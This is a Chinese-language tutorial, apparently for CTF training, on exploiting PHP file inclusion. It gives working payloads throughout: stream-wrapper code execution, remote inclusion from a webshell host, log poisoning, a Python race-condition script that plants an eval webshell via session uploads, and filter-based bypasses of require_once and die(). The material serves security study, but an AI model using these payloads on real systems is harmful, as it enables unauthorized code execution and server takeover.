PHP中文件包含常见的函数

include:找不到被包含的文件时只会产生警告,脚本将继续执行。

include_once:和include()语句类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。

require:找不到被包含的文件时会产生致命错误,并停止脚本。

require_once:和require()语句类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。

伪协议

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — 安全外壳协议 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

php://filter

我们使用php://filter/convert.base64-encode/resource=可以读取到文件base64编码之后的内容

php://filter/convert.base64-encode/resource=

data://

数据流封装器,以传递相应格式的数据。可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。
**前提:**需要在php.ini中将allow_url_include和allow_url_fopen设置为On

data://text/plain,<?php phpinfo();?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==

file://

用于访问本地文件系统(依旧不能读取PHP文件,因为会解析),并且不受allow_url_fopen,allow_url_include影响

file:///etc/passwd

php://input

php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作 文件内容。从而导致任意代码执行
我们直接post请求 在请求包里放入PHP代码即可

POST /include.php?include=php://input HTTP/1.1
Host: 192.168.1.8
Content-Length: 21
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: http://192.168.1.8
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.8/include.php?include=php://input
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


<?php phpinfo(); ?>

zip://

zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。
zip://中只能传入绝对路径。
首先在phpinfo.txt里写入PHP代码,然后将他压缩成一个zip格式的压缩包
在get请求中注意将#编码成%23

?include=zip:///tmp/shell.zip#shell.txt

phar://

优点:不需要使用绝对路径,可以使用相对路径

?include=phar://phpinfo.zip/phpinfo.txt

远程文件包含

前提:首先需要确定PHP是否已经开启远程包含功能选项(php默认关闭远程包含功能:allow_url_include=off),开启远程包含功能需要在php.ini配置文件中修改。

?include=http://webshell.com/shell.txt

日志文件包含

常见日志位置

linux
/var/log/apache2/log/access.log
/var/log/httpd/access.log
/var/log/nginx/access.log

apache+linux 默认配置文件
/etc/httpd/conf/httpd.conf
/etc/init.d/httpd

IIS6.0+win2003 配置文件
C:/Windows/system32/inetsrv/metabase.xml

apache+Linux 日志默认路径
/etc/httpd/logs/access_log
/var/log/httpd/access log

apache+win2003 日志默认路径
D:/xampp/apache/logs/access.log
D:/xampp/apache/logs/error.log

IIS6.0+win2003 默认日志文件
C:/WINDOWS/system32/Logfiles

nginx 日志文件
/usr/local/nginx/logs
可通过其配置文件 Nginx.conf,获取到日志的存在路径
/opt/nginx/logs/access.log

我们将我们的恶意代码放在http请求中 然后再包含日志 这样就能达到命令执行的效果
但是恶意代码最好是放在UA头上,直接get请求的话可能会有url编码造成的问题

?include=/var/log/nginx/access/log

session条件竞争写shell

demo:

<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

在cookie处添加PHPSESSID,会默认在session目录下生成类似于sess_aaa的文件 这个aaa名称是我们可以控制的
控制名称需要PHP_SESSION_UPLOAD_PRGRESS参数,这是用来获取实时文件的上传进度,会返回一个session
我们上传上的文件会被马上删除,所以需要使用条件竞争来解决 在他还没删除之前 就把文件包含了 从而造成命令执行
这是一个分秒必争,且需要多次尝试的过程 手工肯定是不行的 我们借助脚本来完成

import os
import io
import requests
import threading

sessid = 'k1he'
url = '靶机的地址'

def write(session):
while event.isSet():
f = io.BytesIO(b'a'* 1024 * 50) #创建文件
response = session.post( #post文件上传
url, #url
cookies = {'PHPSESSID':sessid}, #设置cookie为我们的sessid
data = { "PHP_SESSION_UPLOAD_PROGRESS":"<?php system('ls');file_put_contents('/tmp/1','<?php phpinfo();eval($_POST[1]); ?>');?>"},#写马或执行内容
files = {"file":('k1he.txt',f)} #上传文的具体内容,文件名和文件内容
)

def read(session):
while event.isSet():
payload = "?file=/tmp/sess_"+sessid #包含我们的session路径,注意file参数的改变

response = session.get(url = url+payload) #读取页面

if 'k1he.txt' in response.text: #返回页面
print(response.text)
event.clear
else:
print("[*]retrying!!!")


if __name__ == '__main__': #双线程运行
event = threading.Event()
event.set()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write,args=(session,)).start()

for i in range(1,30):
threading.Thread(target=read,args=(session,)).start()

只能包含一次?

bypass掉require_once的限制,题目来源[WMCTF2020]Make PHP Great Again

<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
require_once $_GET['file'];
}

软连接
/proc/self/root
通过ls /proc/self/root可以直观的看到/proc/self/root指向的就是/
当软连接多到一定程度后,可以绕过该require_once函数的限制

php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/www/flag.php

file_put_contents

php file_put_contents()函数用于把一个字符串写入文件中。该函数会检查用户想要写入的文件,如果该文件不存在,则会创建一个新文件,然后进行字符串的写入。

基本语法:file_put_contents(file,data,mode,context)
参数: PHP file_put_contents()函数接受两个必需参数和两个可选参数。
● file:必需。指定要写入数据的文件。如果文件不存在,则创建一个新文件。
● data:可选。指定要写入文件的数据。可以是字符串、数组或数据流。
● mode:可选。指定如何打开/写入文件。可能的值:FILE_USE_INCLUDE_PATH,FILE_APPEND,LOCK_EX。
● context:可选。指定文件句柄的环境,自定义上下文或流的行为。context 是一套可以修改流的行为的选项。若使用 null,则忽略。返回值:写入成功时,则返回写入文件的字节数,失败时返回FALSE。

题目来源于ctfshow

<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);


}else{
highlight_file(__FILE__);
}

base64编码绕过
可以看到我们提交的参数file会被url解码一次,content放在die()的后面 这将不会执行content的内容
所以我们就将file传入命令,content传入要写入的文件内容

base64解码时,是4个为一组,root.php(要写入的文件),写入的内容中只有phpdie会参与base64解码,因为phpdie只有6个字节,补两个a就是8字节了
对执行的命令进行编码
aaPD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTs/Pg==进行base64解码后的结果是
]龀

这里要对file=php://filter/write=convert.base64-decode/resource=root.php进行两次全编码(一次是因为后端对他进行了一次解码,一次是因为浏览器传输中会自动解码一次)

import os

def main():
clearFlag = "y"
while(1):
if clearFlag == "y" or clearFlag == "Y":
os.system("cls")
clearFlag = ""
string = input("请输入需要转换的字符串 :")
type = input("请选择操作类型(1:加密 2:解密) :")
while(type != "1" and type != "2"):
type = input("操作类型输入错误,请重新选择(1:加密 2:解密) :")
if type == "1" :
encode_string = encode(string)
print("编码结果为:"+encode_string+"\n")
if type == "2" :
decode_string = decode(string)
print("解码结果为:"+decode_string+"【请注意前后空格】\n")
clearFlag = input("按Y/y清空屏幕继续:")

#编码
def encode(string):
encode_string = ""
for char in string:
encode_char = hex(ord(char)).replace("0x","%")
encode_string += encode_char
return encode_string

#解码
def decode(string):
decode_string = ""
string_arr = string.split("%")
string_arr.pop(0) #删除第一个空元素
for char in string_arr:
decode_char = chr(eval("0x"+char))
decode_string += decode_char
return decode_string

main()

最终payload:

http://e335679b-78f2-4d0d-9097-8272be0b1bf1.challenge.ctf.show?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%37%32%25%36%66%25%36%66%25%37%34%25%32%65%25%37%30%25%36%38%25%37%30

content=aaPD9waHAgc3lzdGVtKCd0YWMgZioucGhwJyk7Pz4=

rot13编码绕过
同样的对php://filter/write=string.rot13/resource=rot13.php进行两次url全编码
使用captfencoder对要写入的文件内容编码

content=<?cuc flfgrz('gnp sy0t.cuc');?>